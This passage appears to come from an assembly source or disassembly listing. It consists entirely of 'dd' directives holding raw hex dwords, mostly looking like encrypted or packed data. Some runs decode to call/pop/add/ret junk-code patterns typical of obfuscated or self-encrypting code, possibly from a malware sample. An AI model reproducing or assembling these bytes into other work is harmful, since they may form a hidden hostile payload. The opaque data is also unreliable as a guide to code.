		dd 0C3CF1F57h, 98223CFEh, 982704F6h, 9C81406Fh,	2D031730h
		dd 1E0C8F6Dh, 9C304F9Fh, 0B33B7877h, 0C58E0B2Ah, 9E8F15F1h
		dd 45748B26h, 8594DDFCh, 259A4667h, 0FAD74335h,	9C32DE9Eh
		dd 199DC977h, 220A5055h, 0DA074177h, 0B2FEDDFCh, 190C4667h
		dd 9AD33970h, 0AB89C111h, 0F6E0BFB0h, 9FF01277h, 0BC0C4077h
		dd 155C832Dh, 1D076423h, 84856433h, 0DEC04077h,	2BD98325h
		dd 1D5F5538h, 0D61C699Ch, 5581CB45h, 19005067h,	89874FB7h
		dd 0F6814075h, 9F281177h, 0BC604077h, 1569832Eh, 1D1C643Bh
		dd 84086433h, 0DD064077h, 26DC8326h, 1D588A58h,	9EFD264Fh
		dd 0ABE54F75h, 26304077h, 0F9F0DF70h, 0FA0A38F6h, 937C1F4Ah
		dd 9C014EF3h, 0CA812A77h, 9CC0439Fh, 5F3E6077h,	0B844C929h
		dd 0B85CC173h, 9C0C5573h, 5F500677h, 18A622Bh, 9A915AE6h
		dd 1DA691C6h, 9300DC4Fh, 9C307EF2h, 0E595CB77h,	1C0A5059h
		dd 93EE420Fh, 9C036EF2h, 0D91CCB77h, 15C65077h,	8C74E1E2h
		dd 0E4B12671h, 93D84071h, 9C0C56F2h, 9D9BC977h,	75055047h
		dd 9C8141DCh, 0DD7B2621h, 22D9190Eh, 220219D8h,	0E2194177h
		dd 7459401Dh, 9C064074h, 0C1C01D57h, 98A52CFEh,	98E404F6h
		dd 9C60406Eh, 9BF31532h, 0A9480246h, 0F5B941F1h, 11005079h
		dd 8F7A47F2h, 990C4F71h, 27C04077h, 0BE05013Eh,	0AEF5C5FEh
		dd 4CE74667h, 745A401Dh, 9C064074h, 0C2C01E57h,	98A534FEh
		dd 98E404F6h, 9C604060h, 4BF31631h, 19B6338Fh, 61884FB7h
		dd 0F6064077h, 9FEB1577h, 0BC814077h, 159D832Ah, 1D64641Bh
		dd 8A346433h, 0D9184077h, 53828322h, 0FEC1C0E7h, 93EB78F7h
		dd 9C8119F2h, 1C99F277h, 9313450Fh, 9C300DF2h, 9C08A977h
		dd 0E6574077h, 1F19D3ABh, 0A57824DEh, 0BCF03DAEh, 0E440990Eh
		dd 186F1370h, 9C3040A8h, 744D401Dh, 9C0C4074h, 0C1C51D57h
		dd 98272CFEh, 98A504F6h, 9CC04063h, 0CAA31532h,	9C3AA882h
		dd 32674077h, 0C81047ABh, 7D52DD91h, 1D651A8Eh,	9384CF4Fh
		dd 9CC02FF2h, 21EDC977h, 1C365079h, 9370460Fh, 9C0C1FF2h
		dd 55B94F77h, 977BC111h, 198E6588h, 9CC04027h, 7437401Dh
		dd 9C304074h, 0C3DB1F57h, 98283CFEh, 982204F6h,	9C034063h
		dd 0A8421730h, 150ACB17h, 8C7101F2h, 0C0D92171h, 0F6184077h
		dd 9FE41777h, 0BC064077h, 155C8328h, 1D85640Bh,	8BC46433h
		dd 0DB604077h, 50228320h, 2191C01Ah, 9A1C67C2h,	2360805Ch
		dd 0ADEA6F74h, 0F6814077h, 9F281677h, 0BC604077h, 156E8329h
		dd 1D1C6403h, 89086433h, 0DA064077h, 0D6588321h, 9C814A9Eh
		dd 206A9D77h, 0EFA1315Bh, 24EAE9D6h, 9C184076h,	9C09A927h
		dd 6C3F4077h, 1501BA37h, 9CEB6473h, 9CC3A822h, 0C1404077h
		dd 0F0B91DB4h, 0D8994453h, 9C184453h, 0C9434077h, 1D0C8BB4h
		dd 9C814072h, 78480FCEh, 0CFDDCD3Dh, 1136553Fh,	895536FAh
		dd 0C92FF871h, 19053711h, 9A13614Ah, 77228F5Ch,	1DE21941h
		dd 74745940h, 579C0640h, 0FEC1C01Dh, 0F698A52Ch, 6E98E404h
		dd 5E98340h, 6058A4F3h,	1FD98D8Bh, 850F0610h, 1, 6A61FCh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
		dd 5D0C4DC3h, 5A51231Ah, 0C00B1086h, 81840Fh, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
		dd 8D47BAC3h, 104E85B5h, 0DE806h, 0AABB0000h, 361D6B6Ah
		dd 0F61C8D0h, 0E9915907h, 14h, 4C77E87Ah, 0D0681616h, 615E6D8Ah
		dd 44C325C5h, 0A7FEC971h, 3B859h, 0E6FF0000h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 17h, 0FC35040h, 0F49C093h
		dd 682h, 0D1958900h, 40061023h,	0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 16h, 48C35040h, 9D8B0D22h, 6101435h
		dd 6AC08Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h
		dd 50400000h, 0B06490C3h, 0A58E3ABAh, 0D3816680h, 83F8EC53h
		dd 10158DBDh, 9750006h,	95BD83h, 74000610h, 8B535019h
		dd 403B8C0h, 85890000h,	610132Dh, 0B87C9D8Dh, 0D3FF0612h
		dd 0BD83585Bh, 6100095h, 50177400h, 403B853h, 85890000h
		dd 610132Dh, 0B51D9D8Dh, 0D3FF0612h, 0CD80585Bh, 0FB8B66EDh
		dd 6AC08Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h
		dd 50400000h, 0E84259C3h, 0A27C082Fh, 0DE61C3C8h, 0D4D4712Ah
		dd 1DC4B46h, 0D4C8557Fh, 6398525Ch, 0A9A90B33h,	0F1982633h
		dd 0EF5E265Ah, 338805D6h, 0FFB44E60h, 0F867A5E4h, 0A0883B76h
		dd 0D612A3BEh, 79672020h, 0DB71A3BAh, 0D71B2023h, 33881736h
		dd 831D2933h, 0C0982633h, 0B3D70EB6h, 0D6157635h, 0AF8D6929h
		dd 3D0DD963h, 839E363Ch, 35982664h, 1F152359h, 4B8D6919h
		dd 0BC1DAB63h, 39E337Ch, 0A199B3CCh, 14932023h,	6AA1A23Ch
		dd 0B0152633h, 9C8D6919h, 4DAACE63h, 0F6D82633h, 1CA8A3BEh
		dd 24C82026h, 0C1D70CB6h, 0FF677635h, 33882462h, 1794E2B0h
		dd 58D70CB6h, 23157635h, 558D6929h, 400DD963h, 3D9E363Ch
		dd 6A982651h, 6474AD66h, 11CE7464h, 8DAB2E4Eh, 0A69824DAh
		dd 0D3DF6633h, 2C97260Ch, 2B67D9C6h, 1713EF00h,	35B2CF3Bh
		dd 48AB2633h, 0A71831B9h, 0E868AD03h, 5AAD63h, 0A9982C88h
		dd 0D49BCF33h, 896F2633h, 3566A57Dh, 656CA13Ch,	4EC3D9CCh
		dd 0EEDF7EFBh, 0D697E638h, 5667D9FDh, 8EC6E7B8h, 0A8517F6Ch
		dd 88152637h, 9C8D692Bh, 1DD5ABBEh, 93202026h, 78000000h
		dd 271E7FCh, 0C8D00731h, 4904C783h, 0FFF2850Fh,	0B58DFFFFh
		dd 615504Dh, 506C8D8Dh,	0CF2B0615h, 8B05E983h, 315820C8h
		dd 3131C854h, 6C121001h, 5DBB55C2h, 75B30025h, 31270625h
		dd 64770101h, 8F8D63C2h, 427859B1h, 5BEAAC67h, 32DA4701h
		dd 11320801h, 0B86DC75Eh, 0B036267Dh, 28362545h, 76328001h
		dd 2BCE8356h, 4EEE26ADh, 23EB8D8Ah, 0D8520E11h,	31320412h
		dd 2FF17564h, 44602BC1h, 72F74FE8h, 645A0176h, 3E53E03Ah
		dd 3132168Eh, 80878301h, 50341408h, 0B53D06A9h,	31320385h
		dd 0D965806Bh, 31324002h, 6EF17F21h, 35166C88h,	35164C80h
		dd 3132041Dh, 0E1F15546h, 0E7C6C7EFh, 8C92E65h,	3DE5C167h
		dd 208FA34Fh, 3134002Ch, 31008C0Eh, 78DB0401h, 5B320203h
		dd 32DA5701h, 11328001h, 0B86C835Fh, 0B0360475h, 29363445h
		dd 77320801h, 2DEC757h,	0D85F1704h, 31320109h, 75662A64h
		dd 9F7C9AB1h, 67607051h, 313203E8h, 30A21E01h, 1EF5ECABh
		dd 55A85590h, 692E2A33h, 0BE435241h, 0D8034F5Eh, 3132200Fh
		dd 0F6A411C5h, 0F76CB0BCh, 32439A65h, 6968DBEBh, 5B160588h
		dd 32DAD101h, 11324001h, 0B86BE358h, 0B036344Dh, 2C362C45h
		dd 70320401h, 0E6F4C150h, 0B9651E86h, 4E880FC6h, 157E410Eh
		dd 0FC8846FFh, 0E2B9488Ah, 3E1EC882h, 31320687h, 0BAF3B501h
		dd 33BF0E09h, 0BA328001h, 79B926F0h, 61324AFDh,	313213E9h
		dd 0F26A2801h, 15768D59h, 15768305h, 31321605h,	0F262C001h
		dd 73FD9012h, 313232E8h, 3B153F01h, 0E80FE89Ah,	58149B38h
		dd 544E8349h, 575A9FBCh, 0CE04B980h, 31CBC40Eh,	0B4BB2001h
		dd 372216BCh, 5B3BC982h, 32DA5601h, 11320201h, 0B868C25Bh
		dd 0B036A455h, 2A366445h, 73322001h, 7DC5D353h,	6D5C6C97h
		dd 4B897A14h, 0B162A8FBh, 0B43DE838h, 31328121h, 0D963406Bh
		dd 31322002h, 68F14921h, 35164488h, 35164080h, 31320214h
		dd 56F15040h, 84BBE018h, 37224EE8h, 3122AD0Eh, 3BDA1001h
		dd 8A320801h, 0CBAE68D0h, 6FB19C27h, 0BA535E3Eh, 25DA8140h
		dd 6D324001h, 34E487A5h, 0BBFE11DBh, 384E8D40h,	80C81D68h
		dd 0BA645C09h, 2136E494h, 0F931DE07h, 120FF502h, 0F0B12611h
		dd 62327A04h, 31320BE9h, 0F2692401h, 156E8B5Ah,	15768005h
		dd 31329B05h, 0F2610301h, 0BD92301h, 0B02C02F4h, 1B07B58Ah
		dd 8B30211h, 0BA714991h, 31B0840Eh, 31588001h, 3131A853h
		dd 6B122001h, 65BB4AC2h, 75B30C25h, 312B0025h, 63700201h
		dd 4FAE51C2h, 0BC56CA4Fh, 217CC58Ch, 64324A07h,	313213E9h
		dd 0F26F2801h, 155E8D5Ch, 15768305h, 31321B05h,	0F267C501h
		dd 9673DC68h, 0B0BC72ACh, 5A7EAFCEh, 3131B004h,	8E540401h
		dd 0D0CD5F76h, 0D961016Bh, 31328002h, 6AF11B21h, 35167C88h
		dd 35165480h, 3132081Ah, 0F9F15742h, 3A909361h,	57C003F1h
		dd 559F5680h, 61322A60h, 313223E9h, 0F26A3001h,	15768159h
		dd 15768505h, 31321405h, 0F2624101h, 0D84E4BE9h, 3132400Dh
		dd 0F04D3EC9h, 3F944C70h, 0D886202Ah, 615CB98Ch, 0BCBF0414h
		dd 372752B8h, 0A3B1F4B9h, 84B77300h, 1A343008h,	315820CEh
		dd 3131C854h, 6C121001h, 5DBB55C2h, 75B30025h, 31270625h
		dd 64770101h, 0F305E983h, 6AC08BA4h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 19042444h, 40000000h, 0DFF4C350h
		dd 73944E60h, 0D45BD89h, 10E90610h, 0D7000000h,	0CC8DCC32h
		dd 0E46AFD56h, 5BDE29FCh, 8BB20E8Fh, 6E8C3h, 0BFF0000h
		dd 141B547Fh, 4D08B866h, 0C88B665Ah, 5D3AC281h,	0DFBB0000h
		dd 0BE40E1E3h, 793B6C15h, 0AB0EC681h, 8D3386C4h, 6102E59h
		dd 9D2B3A8Bh, 6100089h,	0B338F781h, 7CB41FD8h, 8E6FC781h
		dd 0B5502CB8h, 0C7815B4Dh, 5F9F1731h, 89C2BF0Fh, 0DE83Ah
		dd 95990000h, 93BF31DAh, 0CAB4F3B0h, 0E9704D50h, 5, 0C04B6BB8h
		dd 0EA8358D1h, 1EE8304h, 22850Fh, 8E0F0000h, 6,	6CD8589h
		dd 29E90610h, 6B000000h, 0D49E51DFh, 1C0D7F7Ah,	0F8AE635Ah
		dd 0FDA5390h, 0FFFF8BE9h, 2F76EAFFh, 5BEAD596h,	8B9E9E3Bh
		dd 2113D4BDh, 0EB3DEA7Fh, 55D98D8Dh, 8D0F0615h,	6, 0BCDBD29h
		dd 8D890610h, 61009F5h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 16h, 96C35343h, 9D09A112h,	6100D51h, 231985C7h
		dd 5D6C0610h, 8B660000h, 0C185C7FAh, 61022h, 6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 17042444h
		dd 47000000h, 6F0FC357h, 95012BEEh, 61030C1h, 0B9BB6653h
		dd 9D8B5E13h, 6101CD5h,	0BB9B5FFh, 6A0610h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 140424h, 50400000h, 12E86AC3h
		dd 0E1000000h, 73436134h, 4A9630Bh, 3ED375DCh, 0CEB52643h
		dd 0AE95E86h, 57000000h, 0EF78152Eh, 9F05DD2Eh,	0B995FF12h
		dd 6A06102Dh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1D042444h, 43000000h, 3FBFC353h, 0B49C66C3h,	0D8B6A48Dh
		dd 58F0F50h, 0BE000000h, 7FBA10E3h, 0FF006A58h,	1031C995h
		dd 0EBC08B06h, 0DA5B6B4Fh, 1AFAE887h, 37D3DCBAh, 0E28CCAE8h
		dd 0B4D94EDFh, 435DF728h, 0F3FF290Fh, 601325D5h, 0B955F672h
		dd 281B98DCh, 0C641AD04h, 0C1BAF195h, 5BA420E6h, 6976CC2Dh
		dd 278C05F8h, 46339701h, 0BE8EC570h, 0CD1DC0A7h, 0AF92EF8Ch
		dd 0D7A9D423h, 12E8h, 538C5100h, 760F6A56h, 160DA97Ah
		dd 361E4195h, 5F8B2053h, 68C0Fh, 8D2B0000h, 61022A1h, 701FC781h
		dd 66530000h, 0C2EAC981h, 0FC9CBB5Ah, 0F3817B9Ah, 7B9AE749h
		dd 8B02DD80h, 618D8B07h, 8106100Ch, 1EE367E8h, 0BD8B6021h
		dd 61008D1h, 7E960h, 64BB0000h,	4693B53Dh, 15858950h, 61061007h
		dd 8DC08161h, 8B40E583h, 102DA5B5h, 0C5C08106h,	0F12E505h
		dd 1F80h, 81666000h, 0E974DAC7h, 13h, 43B0C371h, 0C2E1C3B0h
		dd 0D6EEA0EEh, 0B232D5AEh, 61B86B47h, 12E90789h, 96000000h
		dd 1EF392CBh, 63B314B0h, 3C4A391h, 47A1E90Fh, 4EF8310h
		dd 2A318D8Bh, 0EB810610h, 1, 0FF71850Fh, 8D8BFFFFh, 61013FDh
		dd 57AC8D8Dh, 0B52B0615h, 6102179h, 9F58D89h, 0F98A0610h
		dd 231985C7h, 6DC80610h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 160424h, 53430000h, 32B6EEC3h, 85C7C68Bh
		dd 61022C1h, 0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 0EBC35545h
		dd 44FBEB02h, 0FF6C18E9h, 101F51B5h, 57006A06h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1804h,	0C3574700h, 56502D57h
		dd 0B995FFD9h, 0E906102Dh, 8, 0E6A64452h, 9342B20Fh, 95FF006Ah
		dd 61031C9h, 4EEBC08Bh,	2D71B35h, 0FD53499Fh, 8962C745h
		dd 0CD1A7F11h, 0F6FE36D3h, 711F11A9h, 0B40F18D2h, 60A957F6h
		dd 0E382E5A8h, 97E67E04h, 8F330EBEh, 0FAEC5DD6h, 28C1A416h
		dd 0D00D6B7Ah, 0CBFB1039h, 2FD59D81h, 247733Fh,	39CB53AFh
		dd 0AD90C09h, 12E89F1Dh, 32000000h, 433CD04Ah, 67B3D85Ch
		dd 0ACC4AED7h, 9C688288h, 0D9853116h, 5F061013h, 1DBD9D33h
		dd 0C7810610h, 5BFBh, 21A59D89h, 680610h, 58000000h, 0FFF1B70Fh
		dd 0DF8B3834h, 9D8B5359h, 6102FA9h, 68C1815Bh, 811E27E7h
		dd 58672FCBh, 2CE98176h, 0F34605Dh, 683h, 19958B00h, 8106100Bh
		dd 0AFA09DE9h, 41BD8959h, 5106100Ah, 46EE8153h,	5B1323C9h
		dd 6607048Fh, 0E973D9BAh, 6, 0CF565E08h, 0E881A368h, 4A7EA90h
		dd 15618589h, 0C0810610h, 4A7EA8Ch, 86BB6652h, 0F8815A30h
		dd 0FFFFA4C0h, 0FF89850Fh, 0FE9FFFFh, 0A5000000h, 0D05BC954h
		dd 15666A67h, 0E6ECE940h, 8D8DA8A5h, 61559C4h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 3AC35646h, 6E6FF76h
		dd 0C681EFE6h, 5195081Fh, 9F58D89h, 8B660610h, 1985C7D6h
		dd 98061023h, 6A000070h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1C042444h, 46000000h, 0B624C356h,	0F89CCA58h
		dd 0E9B4727Eh, 0Dh, 14978CD5h, 0A2A64858h, 19C295Ah, 0E985013Eh
		dd 0C7061032h, 1022C185h, 6, 55006A00h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1A04h,	0C3554500h, 41726D56h
		dd 0FF500EDDh, 101F51B5h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1504h,	0C3524200h, 0B52388C7h
		dd 610329Dh, 2DB995FFh,	6A0610h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 140424h, 52420000h, 85891EC3h, 6101705h
		dd 95FF006Ah, 61031C9h,	4EEBC08Bh, 0EFE4BBD2h, 1C609D1Ah
		dd 0F0B87F7Fh, 15DF0FC9h, 0C28017BFh, 0F442AD17h, 0A99F2272h
		dd 8B9B9378h, 9B3FC7F8h, 1B200387h, 0D17C6D10h,	7DA828AFh
		dd 0F3C1F14Ah, 44EEBEF7h, 181ECB32h, 907F678Bh,	6B750430h
		dd 11FE1D6h, 0C8B9595Fh, 20E94D80h, 64000000h, 26907Fh
		dd 6 dup(0)
		dd 0E9000000h, 4EEh, 4AFE41F1h,	6ADE15CBh, 41FD36EBh, 64D815BAh
		dd 38F433D5h, 20C43652h, 3BEE6DE1h, 13B73EFAh, 2ED564D8h
		dd 764A45F9h, 0D9260FB3h, 420AE76Bh, 50447932h,	74F9739h
		dd 27B34C6Dh, 8A11CDA9h, 0B1B9A3E1h, 253B43A6h,	0DCC8FDA6h
		dd 11887C58h, 0C67C2F5Ah, 1E6DCCE2h, 8D4C1E42h,	70F4A0D7h
		dd 0DD12B9h, 0B4E187FEh, 0CCE24DF5h, 0ECDA96Dh,	4E421E57h
		dd 44ED841Bh, 9B9709Bh,	266DCCE2h, 0D4504481h, 0C304A51Ch
		dd 5D6F53CFh, 0CCE214AEh, 5074F06Dh, 903702DCh,	0CCBA75Bh
		dd 0EE721E53h, 71AC62D9h, 388A815Fh, 0DC6DCCE2h, 9F36B80h
		dd 0AF639A52h, 691D96B3h, 16E8422Eh, 0CCE2AF13h, 0FEEB476Dh
		dd 33B91FA2h, 83502D03h, 0E3F5A1E2h, 0BA70B150h, 934CCB7Fh
		dd 0B7728C5Eh, 6DCC200Bh, 0AC5A6FEBh, 0CC2040FDh, 59F8C76Dh
		dd 3307BE7Dh, 5D7A568Dh, 6ADA579Ah, 593733h, 32950000h
		dd 542A4479h, 0CC7CED55h, 518C426Dh, 4C812AA1h,	0C4FBB128h
		dd 877754D0h, 0CC7C60E0h, 7B1AA96Dh, 6B36337Eh,	11333h
		dd 0D7790000h, 7C4002A9h, 0C8A46DCCh, 498028B3h, 0E0624937h
		dd 46DCC7Ch, 34535328h,	2AA1558Ch, 215C4885h, 8A42E382h
		dd 0A760D753h, 3230B672h, 0E062497Eh, 46DCC7Ch,	0C5A1D68Dh
		dd 2ED6F5A1h, 0B256E5F7h, 0C6A37F73h, 41E083D8h, 62E42CE0h
		dd 0A643FD6Bh, 0CBC67C2Fh, 421E6DCCh, 0F86421Eh, 0A5E48858h
		dd 2AE56CF1h, 0F04F7872h, 77B055D4h, 0D7CBA78Bh, 0F82DD665h
		dd 78B158E3h, 1C5B0D8Ch, 80BF7168h, 0DA4B794h, 69DD6BFh
		dd 0F4FF5C4h, 0B905ECBh, 607D5960h, 6AA46697h, 7A4633h
		dd 26380000h, 0C4B3F093h, 6DCCFA7Eh, 0E7BD9A96h, 206104D7h
		dd 60DBF074h, 22B96DACh, 0F54D3C6Bh, 4A6DCC7Ch,	0B6B26AA3h
		dd 0ECD3E69Ah, 45EA7155h, 43181C08h, 1995D478h,	0C3AFEEA2h
		dd 2EE21FC4h, 32B74E65h, 336B33EFh, 50CFh, 96D73D00h, 6A1BD4A6h
		dd 8FD14429h, 57F9C297h, 47126C18h, 0B6BA66A5h,	361348FFh
		dd 0E28EC97Dh, 98993807h, 76CCBFF4h, 8E6DCC8Dh,	6CFAAE92h
		dd 4F437A32h, 0CC7CBF08h, 0A03F806Dh, 6B356C45h, 0AC5DDC33h
		dd 0FEE217D0h, 97390E12h, 1, 427B32F5h,	5B90374Eh, 0EF863DA7h
		dd 0F2669F46h, 7B55868Dh, 0ABF2AC52h, 81565C0Eh, 694FAC5Fh
		dd 3B3767FCh, 62975047h, 83B86FE6h, 1878C88Fh, 1AD1943Ch
		dd 4C3F31E5h, 943C18F6h, 0F193120Eh, 54EBBEB2h,	0E3BC0FBDh
		dd 93EE54Ch, 0A02209F7h, 44943C18h, 0CC4B13E8h,	3832DE13h
		dd 18DF6326h, 3B37943Ch, 1EEE951Eh, 0DF432F66h,	0D4780F03h
		dd 45EAE195h, 897DBA6Dh, 0E2DDC9ADh, 691EA241h,	411FBB5Ah
		dd 3C18F84Ah, 2B401C94h, 0A8C2F7B0h, 0FCA48031h, 7155D1C5h
		dd 0D617E25Ch, 0B6397AD1h, 0F0h, 0E9EEA3C8h, 0DD45826Dh
		dd 9ECB5899h, 7653AB11h, 1EBD5CAEh, 266C5D4Ch, 37A67FCh
		dd 0F67A265Dh, 0F8AF26DAh, 0D79007C3h, 30D7EEA2h, 315207FBh
		dd 0B7EC9392h, 44471903h, 9423AAFEh, 3A3D1A16h,	397B5F77h
		dd 4757h, 0C15CB500h, 9B1E401Ah, 0D5CEABE8h, 0EDCC7C4Dh
		dd 52190D69h, 0EDCC7CF0h, 0C8871EDDh, 0AAD4A635h, 0CC7C43FFh
		dd 10C7A3EDh, 0F26E2257h, 9A0803D5h, 3A6DCC7Ch,	9A4D0CDEh
		dd 0E4B6805Dh, 8C78AF55h, 6116D3A8h, 66000000h,	4C1EBD5Ch
		dd 0FC0C3C5Dh, 7C4ECA67h, 70BCEB4Fh, 0C2797FEBh, 0CFACF0Eh
		dd 2DA1D68Dh, 0D4C0F5AEh, 238D3A85h, 0F3923194h, 88447932h
		dd 2D3F9C3Bh, 205EAD40h, 363F2C6Dh, 555426DDh, 942333EDh
		dd 28502D09h, 1699A981h, 35E13D9Eh, 0CCB8ED96h,	0D38827DAh
		dd 0C6C59744h, 94202314h, 72F8B4B0h, 0C4EE96D7h, 610EFF65h
		dd 1DAF98Ch, 0A24A11EFh, 644AF362h, 0DF03BB5Dh,	0CBC9210Ah
		dd 15D67F9h, 98CD7615h,	0B9EE9524h, 0DF409ECDh,	0AAF9F5A3h
		dd 0B1812A0Bh, 5F03C2FDh, 0D8C4024h, 56752156h,	168074B1h
		dd 0A65DC45Bh, 853EBD71h, 0FCAA450h, 0DE64275Eh, 36B4A9DFh
		dd 8841163Ah, 3, 326D5FF4h, 52493D80h, 19B06499h, 4F463A75h
		dd 32A95D9Eh, 34533F7Eh, 26A55190h, 39504481h, 30A75B94h
		dd 0CF554178h, 81E68956h, 4C6h,	4BA5200h, 29000000h, 34875AD6h
		dd 5A685C24h, 89000061h, 9C68243Ch, 89000049h, 4E682434h
		dd 89000030h, 41B9240Ch, 8906155Ah, 0B06859CFh,	89000022h
		dd 4832424h, 815E0424h,	4ECh, 243C8900h, 0FF08468Fh, 815E2434h
		dd 4C4h, 2434FF00h, 4C4815Fh, 0E9000000h, 0FFFB2144h, 7F3B5A04h
		dd 0C1B8DA04h, 306155Eh, 60E0FFC5h, 2D594E55h, 734F8E74h
		dd 0E9734AD3h, 13h, 265B9BEFh, 3 dup(0)
		dd 0E9000000h, 528h, 6ADE21D1h,	4AFE35EBh, 61DD16CBh, 44F835DAh
		dd 58D413B5h, 40E41672h, 1BCE4D01h, 33D75EDAh, 0EB544F8h
		dd 966A65D9h, 0D9232F93h, 62EAC76Bh, 50447932h,	0E4589739h
		dd 8D79AE55h, 4417550Eh, 0EDFB1BB3h, 2B183D58h,	0CE1B8E3Eh
		dd 0E187FEF2h, 0DCC3F6AAh, 0EE23DC45h, 0BB0702DCh, 5B6DCC39h
		dd 0E574EAFFh, 0C3520641h, 60A6491Fh, 69685AF3h, 27DBF7E6h
		dd 5C7B274Bh, 2ABC68A9h, 0A8DF8554h, 51457A31h,	8C23F8D5h
		dd 0A2D98F4Ah, 0F4936BB5h, 0A6C3379Dh, 8A3E792Dh, 6BDEBBB0h
		dd 0EBA9797Dh, 699E450Eh, 9651EEBDh, 0E5D66DCCh, 16CD8C4Eh
		dd 0BA130CE1h, 2A336A4Bh, 0ABC0FBAFh, 0AF45h, 4D78700h
		dd 8D46235Eh, 0A6F5A1D6h, 6DCC7C1Eh, 0C501A01Fh, 601451F6h
		dd 63A44504h, 0E196B3AFh, 336B3610h, 1F0h, 7A325A00h, 7CE45E4Dh
		dd 24006DCCh, 7CE35F4Ah, 27036DCCh, 56E5574Bh, 0C15E6BB1h
		dd 4AF316FDh, 0E1F67A26h, 617BB25Ah, 0C02B936Ch, 0F2079459h
		dd 0B5F29534h, 3069209Bh, 0B36C6B1Bh, 4DF3927Eh, 4F066A16h
		dd 0A8AF6398h, 2F4B7817h, 0EF6D2C0Ah, 203CCFF3h, 9DBAF599h
		dd 6BE67FEh, 0ABB9BFC6h, 0CCB64200h, 0A1C6A26Dh, 94B0A2B4h
		dd 1AEAA118h, 0AAEB9E74h, 4C2EAAC6h, 9CE3B71Fh,	600CFB4Fh
		dd 90D7046Fh, 31FBD00Fh, 533F7E32h, 0A1558C34h,	0F938D7ECh
		dd 8DCA7D57h, 5B99D99h,	0EC98CD76h, 13FF38EDh, 50F8CE74h
		dd 0ED096D19h, 0B3EAA239h, 5AF98ABFh, 5FF68D76h, 0D70CC07Bh
		dd 0CC7C6ED4h, 0C6AA866Dh, 3433EEB1h, 6D13336Bh, 79000000h
		dd 533F7E32h, 0A0548D34h, 0BB1FB60Dh, 0DB9C092h, 9E2E1B5Ch
		dd 32A9BE4Eh, 0C8B3F7Eh, 6471958h, 34C1239Ah, 6B1B308Fh
		dd 867AB76Ch, 0EA0FA6DDh, 336A5C37h, 4A17h, 7E327500h
		dd 58532D3Fh, 6DCC7CEAh, 4D390E0Ah, 0A95D984Eh,	58412A56h
		dd 3B15FB32h, 0F68D2E4Bh, 8A3E7D2Fh, 67DBCEB0h,	0B86DCCFAh
		dd 4521D514h, 30FCD14Dh, 4F437A32h, 0CC7CBF08h,	0A03F806Dh
		dd 6B356C45h, 14C33h, 32BE0000h, 374E427Bh, 0D207C090h
		dd 721E421Eh, 9832D160h, 0B61C85C6h, 0CE488E37h, 0CC0C9B27h
		dd 289F7B6Dh, 0A62D4A7Fh, 0AD12C6FFh, 0F09BB526h, 67FC760Bh
		dd 8E4D1FFBh, 51AE9BDAh, 0FDEF0AD6h, 23A26479h,	0B3793E7Ch
		dd 2B122CE2h, 2E7C781h,	0BD99A8CFh, 9CD17A01h, 0BF03C1E8h
		dd 5F40943Ch, 8C3306C0h, 0B2C7AB57h, 914D8229h,	782C610Ah
		dd 8175AA61h, 1918B7CCh, 0BE813D72h, 397A72F3h,	140D3h
		dd 0BD5C3900h, 6C5D4C1Eh, 7A67FC26h, 0C178F29Eh, 3BF8D50Ah
		dd 5CDB4F84h, 3826EA3h,	1E7B275Ch, 0DD65243Ah, 399423AAh
		dd 0E47B203Dh, 0B96BE9E2h, 2AD136ECh, 0A8DD864Dh, 0F3A86934h
		dd 5288397Bh, 0B6000000h, 4A61E1C8h, 0A9859423h, 0C15CF8D4h
		dd 9B1E401Ah, 7BF7ABE8h, 7C3DA55Eh, 0C2D9EDCCh,	431FD30Ah
		dd 9E24731Fh, 3FEDCC7Ch, 4F6AE180h, 2BB7728Ch, 0CB6DCC7Ch
		dd 0C26ADB4Fh, 96000000h, 3FF168h, 0CC7CA919h, 0C2802B6Dh
		dd 226DCC7Ch, 0FDDA5646h, 15BD5C27h, 6E14324Bh,	0FCCEF2A9h
		dd 0FC176C0Dh, 0E5D3F867h, 397972D5h, 0E0D288DAh, 9A453FBh
		dd 3E322EF4h, 0EE6DFFECh, 4BBB11F2h, 0C499D88Ch, 9F1B50F7h
		dd 463A6F18h, 3C43A41Fh, 6D049B94h, 72E61BC4h, 0FBD5060Dh
		dd 0B210FBE5h, 52943C41h, 5D498A3Bh, 23E0FDD9h,	9E09E6C2h
		dd 32691F9Ah, 907D93Eh,	6AFEFE58h, 0DB57486h, 0E99E1665h
		dd 0AEAA708Dh, 0E71CC3C2h, 7B1AA93Bh, 0F406D5E4h, 8D35F40Ah
		dd 699E1665h, 0D233F00Dh, 8A9423C2h, 35E11ACFh,	0A661C31h
		dd 8BC469F0h, 0F8BE9B97h, 2AF52526h, 49DB845Eh,	72876BA4h
		dd 1EBD5CDAh, 0DBB85D4Ch, 0EA4667F9h, 18E89F36h, 9D113574h
		dd 4430651Eh, 55DAF415h, 0DE15CBF4h, 0B4EF9332h, 0BF56EDC0h
		dd 0E195D076h, 0F5CE6185h, 0FB30D75Eh, 0DA0FB83Fh, 7EF3CB00h
		dd 1BF6360h, 79403AECh,	0D8218FD7h, 39E92736h, 0F00D691Dh
		dd 8F83C063h, 4ED76E05h, 708E6095h, 572709B9h, 5C71EDB4h
		dd 77AC53E2h, 221A8Bh, 93260000h, 67CBB7ECh, 9DEFBE82h
